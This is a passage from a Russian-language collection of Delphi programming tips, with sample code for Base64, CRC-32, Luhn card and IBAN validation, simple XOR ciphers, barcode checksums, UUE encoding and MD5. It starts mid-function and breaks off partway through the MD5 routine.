po^[1] := byte(b64[(c1 shr 12) and $3f]);
po^[2] := byte(b64[(c1 shr 6) and $3f]);
po^[3] := byte(b64[(c1 ) and $3f]);
inc(dword(po), 4);
inc(dword(pi), 3);
end;
case len mod 3 of
1 : begin
c1 := pi^[0] shl 16;
po^[0] := byte(b64[(c1 shr 18) and $3f]);
po^[1] := byte(b64[(c1 shr 12) and $3f]);
po^[2] := byte('=');
po^[3] := byte('=');
end;
2 : begin
c1 := pi^[0] shl 16 + pi^[1] shl 8;
po^[0] := byte(b64[(c1 shr 18) and $3f]);
po^[1] := byte(b64[(c1 shr 12) and $3f]);
po^[2] := byte(b64[(c1 shr 6) and $3f]);
po^[3] := byte('=');
end;
end;
end else
result := '';
end;

function Decode(data:string) : string; overload;
var i1,i2,len : integer;
pi, po : TPAByte;
ch1 : char;
c1 : dword;
begin
len:=length(data);
if (len > 0) and (len mod 4 = 0) then begin
len := len shr 2;
SetLength(result, len * 3);
pi := pointer(data);
po := pointer(result);
for i1 := 1 to len do begin
c1 := 0;
i2 := 0;
while true do begin
ch1 := char(pi^[i2]);
case ch1 of
'A'..'Z' : c1 := c1 or (dword(ch1) - byte('A') );
'a'..'z' : c1 := c1 or (dword(ch1) - byte('a') + 26);
'0'..'9' : c1 := c1 or (dword(ch1) - byte('0') + 52);
'+' : c1 := c1 or 62;
'/' : c1 := c1 or 63;
else begin
if i2 = 3 then begin
po^[0] := c1 shr 16;
po^[1] := byte(c1 shr 8);
SetLength(result, Length(result) - 1);
end else begin
po^[0] := c1 shr 10;
SetLength(result, Length(result) - 2);
end;
exit;
end;
end;
if i2 = 3 then
break;
inc(i2);
c1 := c1 shl 6;
end;
po^[0] := c1 shr 16;
po^[1] := byte(c1 shr 8);
po^[2] := byte(c1);
inc(dword(pi), 4);
inc(dword(po), 3);
end;
end else
result := '';
end;

....

var a,b:string;
begin
a:='aaa';
b:=Encode( a );
showmessage( b );
a:=Decode( b );
showmessage( a );

Автор P.O.D.

const
  Codes64 = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/';

function Encode64(S: string): string;
var
  i: Integer;
  a: Integer;
  x: Integer;
  b: Integer;
begin
  Result := '';
  a := 0;
  b := 0;
  for i := 1 to Length(s) do
  begin
    x := Ord(s[i]);
    b := b * 256 + x;
    a := a + 8;
    while a >= 6 do
    begin
      a := a - 6;
      x := b div (1 shl a);
      b := b mod (1 shl a);
      Result := Result + Codes64[x + 1];
    end;
  end;
  if a > 0 then
  begin
    x := b shl (6 - a);
    Result := Result + Codes64[x + 1];
  end;
end;

function Decode64(S: string): string;
var
  i: Integer;
  a: Integer;
  x: Integer;
  b: Integer;
begin
  Result := '';
  a := 0;
  b := 0;
  for i := 1 to Length(s) do
  begin
    x := Pos(s[i], codes64) - 1;
    if x >= 0 then
    begin
      b := b * 64 + x;
      a := a + 6;
      if a >= 8 then
      begin
        a := a - 8;
        x := b shr a;
        b := b mod (1 shl a);
        x := x mod 256;
        Result := Result + chr(x);
      end;
    end
    else
      Exit;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вычислить CRC-32 для файла?

// The constants here are for the CRC-32 generator
// polynomial, as defined in the Microsoft
// Systems Journal, March 1995, pp. 107 - 108
const
  Table: array[0..255] of DWORD =
    ($00000000, $77073096, $EE0E612C, $990951BA,
    $076DC419, $706AF48F, $E963A535, $9E6495A3,
    $0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988,
    $09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91,
    $1DB71064, $6AB020F2, $F3B97148, $84BE41DE,
    $1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7,
    $136C9856, $646BA8C0, $FD62F97A, $8A65C9EC,
    $14015C4F, $63066CD9, $FA0F3D63, $8D080DF5,
    $3B6E20C8, $4C69105E, $D56041E4, $A2677172,
    $3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B,
    $35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940,
    $32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,
    $26D930AC, $51DE003A, $C8D75180, $BFD06116,
    $21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F,
    $2802B89E, $5F058808, $C60CD9B2, $B10BE924,
    $2F6F7C87, $58684C11, $C1611DAB, $B6662D3D,

    $76DC4190, $01DB7106, $98D220BC, $EFD5102A,
    $71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433,
    $7807C9A2, $0F00F934, $9609A88E, $E10E9818,
    $7F6A0DBB, $086D3D2D, $91646C97, $E6635C01,
    $6B6B51F4, $1C6C6162, $856530D8, $F262004E,
    $6C0695ED, $1B01A57B, $8208F4C1, $F50FC457,
    $65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C,
    $62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65,
    $4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2,
    $4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,
    $4369E96A, $346ED9FC, $AD678846, $DA60B8D0,
    $44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9,
    $5005713C, $270241AA, $BE0B1010, $C90C2086,
    $5768B525, $206F85B3, $B966D409, $CE61E49F,
    $5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4,
    $59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD,

    $EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,
    $EAD54739, $9DD277AF, $04DB2615, $73DC1683,
    $E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8,
    $E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1,
    $F00F9344, $8708A3D2, $1E01F268, $6906C2FE,
    $F762575D, $806567CB, $196C3671, $6E6B06E7,
    $FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC,
    $F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,
    $D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252,
    $D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B,
    $D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60,
    $DF60EFC3, $A867DF55, $316E8EEF, $4669BE79,
    $CB61B38C, $BC66831A, $256FD2A0, $5268E236,
    $CC0C7795, $BB0B4703, $220216B9, $5505262F,
    $C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,
    $C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D,

    $9B64C2B0, $EC63F226, $756AA39C, $026D930A,
    $9C0906A9, $EB0E363F, $72076785, $05005713,
    $95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38,
    $92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21,
    $86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E,
    $81BE16CD, $F6B9265B, $6FB077E1, $18B74777,
    $88085AE6, $FF0F6A70, $66063BCA, $11010B5C,
    $8F659EFF, $F862AE69, $616BFFD3, $166CCF45,
    $A00AE278, $D70DD2EE, $4E048354, $3903B3C2,
    $A7672661, $D06016F7, $4969474D, $3E6E77DB,
    $AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0,
    $A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9,
    $BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,
    $BAD03605, $CDD70693, $54DE5729, $23D967BF,
    $B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94,
    $B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D);

type
//----------------------------------crc32----------------------------------
  {$IFDEF VER130}           // This is a bit awkward
    // 8-byte integer
    TInteger8 = Int64;     // Delphi 5
  {$ELSE}
  {$IFDEF VER120}
    TInteger8 = Int64;     // Delphi 4
  {$ELSE}
    TInteger8 = COMP;      // Delphi  2 or 3
  {$ENDIF}
  {$ENDIF}
//----------------------------------crc32----------------------------------

  // Use CalcCRC32 as a procedure so CRCValue can be passed in but
  // also returned. This allows multiple calls to CalcCRC32 for
  // the "same" CRC-32 calculation.
procedure CalcCRC32(p: Pointer; ByteCount: DWORD; var CRCValue: DWORD);
  // The following is a little cryptic (but executes very quickly).
  // The algorithm is as follows:
  // 1. exclusive-or the input byte with the low-order byte of
  // the CRC register to get an INDEX
  // 2. shift the CRC register eight bits to the right
  // 3. exclusive-or the CRC register with the contents of Table[INDEX]
  // 4. repeat steps 1 through 3 for all bytes
var
  i: DWORD;
  q: ^BYTE;
begin
  q := p;
  for i := 0 to ByteCount - 1 do
  begin
    CRCvalue := (CRCvalue shr 8) xor
      Table[q^ xor (CRCvalue and $000000FF)];
    Inc(q)
  end
end {CalcCRC32};

function CalcStringCRC32(s: string; out CRC32: DWORD): Boolean;
var
  CRC32Table: DWORD;
begin
  // Verify the table used to compute the CRCs has not been modified.
  // Thanks to Gary Williams for this suggestion, Jan. 2003.
  CRC32Table := $FFFFFFFF;
  CalcCRC32(Addr(Table[0]), SizeOf(Table), CRC32Table);
  CRC32Table := not CRC32Table;

  if CRC32Table <> $6FCF9E13 then ShowMessage('CRC32 Table CRC32 is ' +
      IntToHex(Crc32Table, 8) +
      ', expecting $6FCF9E13')
  else
  begin
    CRC32 := $FFFFFFFF; // To match PKZIP
    if Length(s) > 0  // Avoid access violation in D4
      then CalcCRC32(Addr(s[1]), Length(s), CRC32);
    CRC32 := not CRC32; // To match PKZIP
  end;
end;

procedure CalcFileCRC32(FromName: string; var CRCvalue: DWORD;
  var TotalBytes: TInteger8;
  var error: Word);
var
  Stream: TMemoryStream;
begin
  error := 0;
  CRCValue := $FFFFFFFF;
  Stream := TMemoryStream.Create;
  try
    try
      Stream.LoadFromFile(FromName);
      if Stream.Size > 0 then CalcCRC32(Stream.Memory, Stream.Size, CRCvalue)
      except
        on E: EReadError do
          error := 1
    end;
    CRCvalue := not CRCvalue
  finally
    Stream.Free
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  s: string;
  CRC32: DWORD;
begin
  s := 'Test String';
  if CalcStringCRC32(s, CRC32) then
    ShowMessage(IntToStr(crc32));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вычислить CRC (контрольную сумму) для файла?

function GetCheckSum(FileName: string): DWORD;
var
  F: file of DWORD;
  P: Pointer;
  Fsize: DWORD;
  Buffer: array [0..500] of DWORD;
begin
  FileMode := 0;
  AssignFile(F, FileName);
  Reset(F);
  Seek(F, FileSize(F) div 2);
  Fsize := FileSize(F) - 1 - FilePos(F);
  if Fsize > 500 then Fsize := 500;
  BlockRead(F, Buffer, Fsize);
  Close(F);
  P := @Buffer;
  asm
     xor eax, eax
     xor ecx, ecx
     mov edi , p
     @again:
       add eax, [edi + 4*ecx]
       inc ecx
       cmp ecx, fsize
     jl @again
     mov @result, eax
   end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(IntToStr(GetCheckSum('c:\Autoexec.bat')));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как проверить правильность номера кредитной карточки?

{-------------------------------------------------
  Returns:

   0  : Card is invalid or unknown
   1  : Card is a valid AmEx
   2  : Card is a valid Visa
   3  : Card is a valid MasterCard

  Ergebnis:

   0  : Unbekannte Karte
   1  : AmEx Karte
   2  : Visa Karte
   3  : MasterCard Karte
-------------------------------------------------}

function CheckCC(c: string): Integer;
var
  card: string[21];
  Vcard: array[0..21] of Byte absolute card;
  Xcard: Integer;
  Cstr: string[21];
  y, x: Integer;
begin
  Cstr := '';
  FillChar(Vcard, 22, #0);
  card := c;
  for x := 1 to 20 do
    if (Vcard[x] in [48..57]) then
      Cstr := Cstr + chr(Vcard[x]);
  card := '';
  card := Cstr;
  Xcard := 0;
  if not odd(Length(card)) then
    for x := (Length(card) - 1) downto 1 do
    begin
      if odd(x) then
        y := ((Vcard[x] - 48) * 2)
      else
        y := (Vcard[x] - 48);
      if (y >= 10) then
        y := ((y - 10) + 1);
      Xcard := (Xcard + y)
    end
  else
    for x := (Length(card) - 1) downto 1 do
    begin
      if odd(x) then
        y := (Vcard[x] - 48)
      else
        y := ((Vcard[x] - 48) * 2);
      if (y >= 10) then
        y := ((y - 10) + 1);
      Xcard := (Xcard + y)
    end;
  x := (10 - (Xcard mod 10));
  if (x = 10) then
    x := 0;
  if (x = (Vcard[Length(card)] - 48)) then
    Result := Ord(Cstr[1]) - Ord('2')
  else
    Result := 0
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  case CheckCC(Edit1.Text) of
    0: Label1.Caption := 'Card is invalid or unknown';
    1: Label1.Caption := 'Card is a valid AmEx';
    2: Label1.Caption := 'Card is a valid Visa';
    3: Label1.Caption := 'Card is a valid MasterCard';
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как проверить правильность International Bank Account Number?

// IBAN = International Bank Account Number
// Example : CH10002300A1023502601

function ChangeAlpha(input: string): string;
  // A -> 10, B -> 11, C -> 12 ...
var
  a: Char;
begin
  Result := input;
  for a := 'A' to 'Z' do
  begin
    Result := StringReplace(Result, a, IntToStr(Ord(a) - 55), [rfReplaceAll]);
  end;
end;

function CalculateDigits(iban: string): Integer;
var
  v, l: Integer;
  alpha: string;
  number: Longint;
  rest: Integer;
begin
  iban := UpperCase(iban);
  if Pos('IBAN', iban) > 0 then
    Delete(iban, Pos('IBAN', iban), 4);
  iban := iban + Copy(iban, 1, 4);
  Delete(iban, 1, 4);
  iban := ChangeAlpha(iban);
  v := 1;
  l := 9;
  rest := 0;
  alpha := '';
  try
    while v <= Length(iban) do
    begin
      if l > Length(iban) then
        l := Length(iban);
      alpha := alpha + Copy(iban, v, l);
      number := StrToInt(alpha);
      rest := number mod 97;
      v := v + l;
      alpha := IntToStr(rest);
      l := 9 - Length(alpha);
    end;
  except
    rest := 0;
  end;
  Result := rest;
end;

function CheckIBAN(iban: string): Boolean;
begin
  iban := StringReplace(iban, ' ', '', [rfReplaceAll]);
  if CalculateDigits(iban) = 1 then
    Result := True
  else
    Result := False;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Пример шифрования данных

procedure DoEncode(var Source:String; const Key:string);
asm
Push ESI
Push EDI
Push EBX
Or EAX,EAX
Jz @Done
Push EAX
Push EDX
Call UniqueString
Pop EDX
Pop EAX
Mov EDI,[EAX]
Or EDI,EDI
Jz @Done
Mov ECX,[EDI-4]
Jecxz @Done
Mov ESI,EDX
Or ESI,ESI
Jz @Done
Mov EDX,[ESI-4]
Dec EDX
Js @Done
Mov EBX,EDX
Mov AH,DL
Cld
@L1:
Test AH,8
Jnz @L3
Xor AH,1
@L3:
Not AH
Ror AH,1
Mov AL,[ESI+EBX]
Xor AL,AH
Xor AL,[EDI]
Stosb
Dec EBX
Jns @L2
Mov EBX,EDX
@L2:
Dec ECX
Jnz @L1
@Done:
Pop EBX
Pop EDI
Pop ESI
end;

Автор ответа:Vit
Взято с Vingrad.ru http://forum.vingrad.ru

Комментарий от Chingachguk'a:

Мне кажется, у этого алгоритма есть два недостатка:

1) Код, сильно зависимый от компилятора. Далеко не всегда
регистр EAX будет указывать на ячейку с адресом Source,
а регистр EDX - на пароль(Key). Но это мелочь.

2) Единственный байт гаммы(или ксорирующей последовательности),
который меняется при шифровании - это длина пароля. Остальные
символы пароля НИКАК НЕ ПЕРЕМЕШИВАЮТСЯ в ходе шифрования. Алгоритм
шифрования примерно такой:

Len:=Lengh(Key);
Index:=Lengh(Key)-1;
i:=1;
repeat
Len:=func1(Len);
Source[i]:=(Key[Index] xor Len) xor Source[i];
dec(Index);
if Index:=0 then Index:=Lengh(Key)-1;
until i<Lenght(Source);

Нетрудно видеть, что основной для тупого подбора является
длина пароля. Пусть она равна 10. Очевидно, что 1-ый,11,21..
символы будут зашифрованы ОДИНАКОВЫМ значением Key[Index],
но разными значениями Len. Казалось бы, Len для 1,11,21...
будет разным, но это ерунда - ведь Len вычисляется однозначно
на ЛЮБОМ шаге через реккурентный закон func1 !

И это - фатальный недостаток.

Информацию по шифрованию можно найти на
http://www.cryptography.ru/

Автор ответа: Shaman
Взято с Vingrad.ru http://forum.vingrad.ru


Простейший алгоритм шифрования строки

Function Decode(S: String; Code: Integer): String;
Var t: Integer;
Begin
  For t:=1 to Length(S) Do S[t]:=Chr(Ord(S[t]) xor Code);
  Result:=S;
End;

В параметрах функции передайте саму строку, которую хотите зашифровать и код шифрования. Зашифрованная строка будет результатом функции. Для декодирования примените к закодированной строке вызов функции с тем же самым кодом.

Автор: Song

Взято из http://forum.sources.ru


Как проверить правильность штрих-кода?

Solve 1:

I want to publish a code for checksum calculation by modulus 10 which is used in the barcodes. I must say that this "mod10" is specifical so readf an article if you're interested.

This algorithm is very popular for UPC barcodes (Universal Product Code), hash code or serial number generation for applications etc...

The basic algorithm:

1. 1. add the values of the digits in the odd positions (1, 3, 5...)
2. 2. multiply this result by 3
3. 3. add the values of the digits in the even positions (2, 4, 6...)
4. 4. sum the results of steps 2 and 3
5. 5. the check digit is the smallest number which, when added to the result in step 4, produces a multiple of 10.

Small example. Assume the source data is 08137919805

1. 1. 0+1+7+1+8+5=22
2. 2. 22*3=66
3. 3. 8+3+9+9+0=29
4. 4. 66+29=95
5. 5. 95+??=100 where ?? is a 5 (our checksum)

My implementation in the Pascal:

function Mod10(const Value: string): Integer;
var
  i, intOdd, intEven: Integer;
begin
  {add all odd seq numbers}
  intOdd := 0;
  i := 1;
  while (i <= Length(Value)) do
  begin
    Inc(intOdd, StrToIntDef(Value[i], 0));
    Inc(i, 2);
  end;

  {add all even seq numbers}
  intEven := 0;
  i := 2;
  while (i <= Length(Value)) do
  begin
    Inc(intEven, StrToIntDef(Value[i], 0));
    Inc(i, 2);
  end;

  Result := 3 * intOdd + intEven;
  {modulus by 10 to get}
  Result := Result mod 10;
  if Result <> 0 then
    Result := 10 - Result
end;

You can expand or optimize this algorithm for own needs.

For example, I modified it and now I use it for any characters (not only digits) in source value.

The original algorithm I used for UPC-barcode validation in the SMReport Designer and the my extended algorithm I use in the serial number generation as part of the protection schema (in the shareware projects).

function BarCodeValid(ACode: string): boolean;
var
  I: integer;
  SumOdd, SumEven: integer;
  ADigit, AChecksumDigit: integer;
begin
  SumOdd := 0;
  SumEven := 0;
  for I := 1 to (Length(ACode) - 1) do
  begin
    ADigit := StrToIntDef(ACode[I], 0);
    if (I mod 2 = 0) then
    begin
      SumEven := SumEven + ADigit;
    end
    else
    begin
      SumOdd := SumOdd + ADigit;
    end; {if}
  end; {for}
  AChecksumDigit := StrToIntDef(ACode[Length(ACode)], 0);
  Result := ((SumOdd * 3 + SumEven + AChecksumDigit) mod 10 = 0);
end; {--BarCodeValid--}
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


UUE кодирование

Автор: Sergei Dubarev

Для того, чтобы ОНО заработало, необходимо создать проект в составе:

Форма (form) - 1 шт.
Поле ввода (edit) - 2 шт., используются события OnDblClick.
Кнопка (button) - 1 шт., используется событие OnClick.
Диалог открытия файла (Open Dialog) - 1 шт.
Диалог сохранения файла (Save Dialog) - 1 шт.
Имена файлов будут вводится либо вручную, либо из диалога (double-click на поле ввода edit), причем в edit1.text должно лежать имя входного файла, в edit2.text - выходного. По нажатии кнопки пойдет процесс, который завершится сообщением "DONE."
Всего хорошего.

P. S. Функция toanysys обнаружена в книге "Для чего нужны и как работают персональные ЭВМ" от 1990 г. Там она присутствует в виде программы на BASIC'e.

P.P.S. Для стимулирования фантазии читателей "Советов..." высылаю так же мессагу из эхи, на основе которой я сваял свое чудо.

Файл Unit1.pas

//UUE кодирование
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtDlgs, StdCtrls;

type

  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Edit2: TEdit;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    procedure Edit1DblClick(Sender: TObject);
    procedure Edit2DblClick(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

const

  ssz = (High(Cardinal) - $F) div sizeof(byte);
  //эта константа используется при выделении памяти

  p: string = '0123456789ABCDEF';
  //эта константа используется функцией toanysys

  //выбор входного файла

procedure TForm1.Edit1DblClick(Sender: TObject);
begin

  if opendialog1.execute then
    edit1.text := opendialog1.filename;
end;

//выбор выходного (UUE) файла

procedure TForm1.Edit2DblClick(Sender: TObject);
begin

  if savedialog1.execute then
    edit2.text := savedialog1.filename;
end;

//выделение подстроки

function mid(s: string; fromc, toc: byte): string;
var
  s1: string;

  i: byte;
begin

  s1 := '';
  for i := fromc to toc do
    s1 := s1 + s[i];
  mid := s1;
end;

//перевод числа (a) из десятичной системы в другую
//с основанием (r)

function toanysys(a, r: byte): string;
var
  s,

  k: string;
  n,
    m,
    i: byte;
begin

  s := '';
  m := 1;
  while m <> 0 do
  begin
    m := a div r;
    n := a - m * r + 1;
    k := p[n];
    s := k + s;
    a := m;
  end;
  //добавляет незначащие нули
  for i := 1 to 8 - length(s) do
    s := '0' + s;
  toanysys := s;
end;

//перевод 6-разрядного числа из двоичной системы в десятичную
//двоичное число подставляется в виде строки символов

function frombin(s: string): byte;
var
  i,

  e,
    b: byte;
begin

  b := 0;
  for i := 1 to 6 do
  begin
    e := 1 shl (6 - i);
    if s[i] = '1' then
      b := b + e;
  end;
  frombin := b;
end;

//непосредственно кодирование
type
  tcoola = array[1..1] of byte;
  pcoola = ^tcoola;

procedure TForm1.Button1Click(Sender: TObject);
var
  inf: file of byte;

  ouf: textfile;
  uue: pcoola;
  b: array[1..4] of byte;
  bin,
    t: string;
  szf,
    oum,
    szl,
    szh,
    sxl,
    sxh,
    i,
    j: longint;
begin

{$I-}
  assignfile(inf, edit1.text); //входной файл
  reset(inf);
  szf := filesize(inf); //
  szh := (szf * 8) div 6; //
  if szf * 8 - szh * 6 = 0 then
    szl := 0
  else
    szl := 1; //
  getmem(uue, szh + szl); //выделение памяти
  oum := 1;
  while not (eof(inf)) do
  begin
    b[1] := 0;
    b[2] := 0;
    b[3] := 0;
    b[4] := 0;
    //чтение должно быть сделано посложнее,
    //дабы избежать "read beyond end of file"
    read(inf, b[1], b[2], b[3]);
    //читаем 3 байта из входного файла
    //и формируем "двоичную" строку
    bin := toanysys(b[1], 2) +
      toanysys(b[2], 2) +
      toanysys(b[3], 2);
    //разбиваем строку на куски по 6 бит и добавляем 32
    t := mid(bin, 19, 24);
    b[4] := frombin(t) + 32;
    t := mid(bin, 13, 18);
    b[3] := frombin(t) + 32;
    t := mid(bin, 07, 12);
    b[2] := frombin(t) + 32;
    t := mid(bin, 01, 06);
    b[1] := frombin(t) + 32;
    //запихиваем полученнные байты во временный массив
    uue[oum] := b[1];
    oum := oum + 1;
    uue[oum] := b[2];
    oum := oum + 1;
    uue[oum] := b[3];
    oum := oum + 1;
    uue[oum] := b[4];
    oum := oum + 1;
  end;
  //входной файл больше не нужен - закрываем его
  closefile(inf);
  //формируем выходной файл
  assignfile(ouf, edit2.text); //выходной файл
  rewrite(ouf);
  oum := 1;
  sxh := (szh + szl) div 60; //число строк в UUE файле
  sxl := (szh + szl) - sxh * 60;
  //заголовок UUE-файла
  writeln(ouf, 'begin 644 ' + extractfilename(edit1.text));
  //записываем строки в файл
  for i := 1 to sxh do
  begin
    write(ouf, 'M');
    // 'M' значит, что в строке 60 символов
    for j := 1 to 60 do
    begin
      write(ouf, chr(uue[oum]));
      oum := oum + 1;
    end;
    writeln(ouf);
  end;
  //записываем последнюю строку, которая
  //обычно короче 60 символов
  sxh := (sxl * 6) div 8;
  write(ouf, chr(sxh + 32));
  for i := 1 to sxl do
  begin
    write(ouf, chr(uue[oum]));
    oum := oum + 1;
  end;
  // "добиваем" строку незначащими символами
  for i := sxl + 1 to 60 do
    write(ouf, '`');
  //записываем последние строки файла
  writeln(ouf);
  writeln(ouf, '`');
  writeln(ouf, 'end');
  closefile(ouf);
  freemem(uue, szh + szl); //освобождаем память
  showmessage('DONE.'); //Готово. Забирайте!
end;

end.

1) Читаем из исходного хфайла 3 байта.
2) Разбиваем полyченные 24 бита (8x3=24) на 4 части, т.е. по 6 бит.
3) Добавляем к каждой части число 32 (десятичн.)

Пpимеp: Имеем тpи числа 234 12 76. Побитово бyдет так -

11101010 00001100 01001100 pазбиваем и полyчаем -

111010 100000 110001 001100 добавляем 32 -
+100000 +100000 +100000 +100000
------ ------ ------ ------
1011010 1000000 1010001 101100 или в бyквах -
Z @ Q ,

Вот собственно и все. В UUE файле в пеpвой позиции стоит кол-во закодиpованных
символов + 32. Т.е. вся стpока содеpжит 61 символ. 1 символ идет на кол-во.
Остается 60 символов _кода_. Если подсчитать, то мы yвидим, что для полyчения
60
символов кода необходимо 45 исходных символов. Для полной стpоки в начале стоит

бyква "M", а ее ASCII код = 77. 45+32=77.

Взято с http://delphiworld.narod.ru


Алгоритм хэширования MD5

Function md5(s:string):string;
 var a:array[0..15] of byte;
     i:integer;

  LenHi, LenLo: longword;
  Index: DWord;
  HashBuffer: array[0..63] of byte;
  CurrentHash: array[0..3] of DWord;

  procedure Burn;
  begin
    LenHi:= 0; LenLo:= 0;
    Index:= 0;
    FillChar(HashBuffer,Sizeof(HashBuffer),0);
    FillChar(CurrentHash,Sizeof(CurrentHash),0);
  end;

 procedure Init;
 begin
   Burn;
   CurrentHash[0]:= $67452301;
   CurrentHash[1]:= $efcdab89;
   CurrentHash[2]:= $98badcfe;
   CurrentHash[3]:= $10325476;
 end;

 function LRot32(a, b: longword): longword;
 begin
   Result:= (a shl b) or (a shr (32-b));
 end;

 procedure Compress;
 var
   Data: array[0..15] of dword;
   A, B, C, D: dword;
 begin
   Move(HashBuffer,Data,Sizeof(Data));
   A:= CurrentHash[0];
   B:= CurrentHash[1];
   C:= CurrentHash[2];
   D:= CurrentHash[3];

   A:= B + LRot32(A + (D xor (B and (C xor D))) + Data[ 0] + $d76aa478,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Data[ 1] + $e8c7b756,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Data[ 2] + $242070db,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Data[ 3] + $c1bdceee,22);
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Data[ 4] + $f57c0faf,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Data[ 5] + $4787c62a,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Data[ 6] + $a8304613,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Data[ 7] + $fd469501,22);
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Data[ 8] + $698098d8,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Data[ 9] + $8b44f7af,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Data[10] + $ffff5bb1,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Data[11] + $895cd7be,22);
   A:= B + LRot32(A + (D xor (B and (C xor D))) + Data[12] + $6b901122,7);
   D:= A + LRot32(D + (C xor (A and (B xor C))) + Data[13] + $fd987193,12);
   C:= D + LRot32(C + (B xor (D and (A xor B))) + Data[14] + $a679438e,17);
   B:= C + LRot32(B + (A xor (C and (D xor A))) + Data[15] + $49b40821,22);

   A:= B + LRot32(A + (C xor (D and (B xor C))) + Data[ 1] + $f61e2562,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Data[ 6] + $c040b340,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Data[11] + $265e5a51,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Data[ 0] + $e9b6c7aa,20);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Data[ 5] + $d62f105d,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Data[10] + $02441453,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Data[15] + $d8a1e681,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Data[ 4] + $e7d3fbc8,20);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Data[ 9] + $21e1cde6,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Data[14] + $c33707d6,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Data[ 3] + $f4d50d87,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Data[ 8] + $455a14ed,20);
   A:= B + LRot32(A + (C xor (D and (B xor C))) + Data[13] + $a9e3e905,5);
   D:= A + LRot32(D + (B xor (C and (A xor B))) + Data[ 2] + $fcefa3f8,9);
   C:= D + LRot32(C + (A xor (B and (D xor A))) + Data[ 7] + $676f02d9,14);
   B:= C + LRot32(B + (D xor (A and (C xor D))) + Data[12] + $8d2a4c8a,20);

   A:= B + LRot32(A + (B xor C xor D) + Data[ 5] + $fffa3942,4);
   D:= A + LRot32(D + (A xor B xor C) + Data[ 8] + $8771f681,11);
   C:= D + LRot32(C + (D xor A xor B) + Data[11] + $6d9d6122,16);
   B:= C + LRot32(B + (C xor D xor A) + Data[14] + $fde5380c,23);
   A:= B + LRot32(A + (B xor C xor D) + Data[ 1] + $a4beea44,4);
   D:= A + LRot32(D + (A xor B xor C) + Data[ 4] + $4bdecfa9,11);
   C:= D + LRot32(C + (D xor A xor B) + Data[ 7] + $f6bb4b60,16);
   B:= C + LRot32(B + (C xor D xor A) + Data[10] + $bebfbc70,23);
   A:= B + LRot32(A + (B xor C xor D) + Data[13] + $289b7ec6,4);
   D:= A + LRot32(D + (A xor B xor C) + Data[ 0] + $eaa127fa,11);
   C:= D + LRot32(C + (D xor A xor B) + Data[ 3] + $d4ef3085,16);
